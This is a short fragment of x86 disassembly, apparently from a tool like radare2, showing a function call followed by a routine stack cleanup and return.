call fcn.00406be2
pop esi
leave
ret